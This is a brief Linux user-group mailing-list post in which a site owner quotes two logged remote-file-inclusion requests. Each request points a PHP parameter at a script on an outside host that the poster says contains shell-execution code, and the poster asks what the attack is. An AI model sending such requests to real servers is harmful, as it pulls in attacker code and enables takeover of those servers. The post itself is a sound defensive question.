Weird hack attempts

"Kelly Jones" <[email protected]>
Newsgroups gmane.org.user-groups.nmlug
Message-ID <[email protected]>
My "weblogs" recently show unsuccessful attempts to access URLs like this:

REQUEST_URI: /header.php?root=http://www.sterka.ru/pic/safeon.txt???

REQUEST_URI: //modules/fs/mod&pwd=casualpass&mod_root=http://www.gumgangfarm.com/shop/data/id.txt?

Visiting these URLs shows nasty-looking PHP source (things like
shell_exec, passthru, system, exec, etc).

Does anyone know what kind of attack this is?

-- 
We're just a Bunch Of Regular Guys, a collective group that's trying
to understand and assimilate technology. We feel that resistance to
new ideas and technology is unwise and ultimately futile.
_______________________________________________
NMLUG mailing list
[email protected]
http://lists.b9.com/cgi-bin/mailman/listinfo/nmlug
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.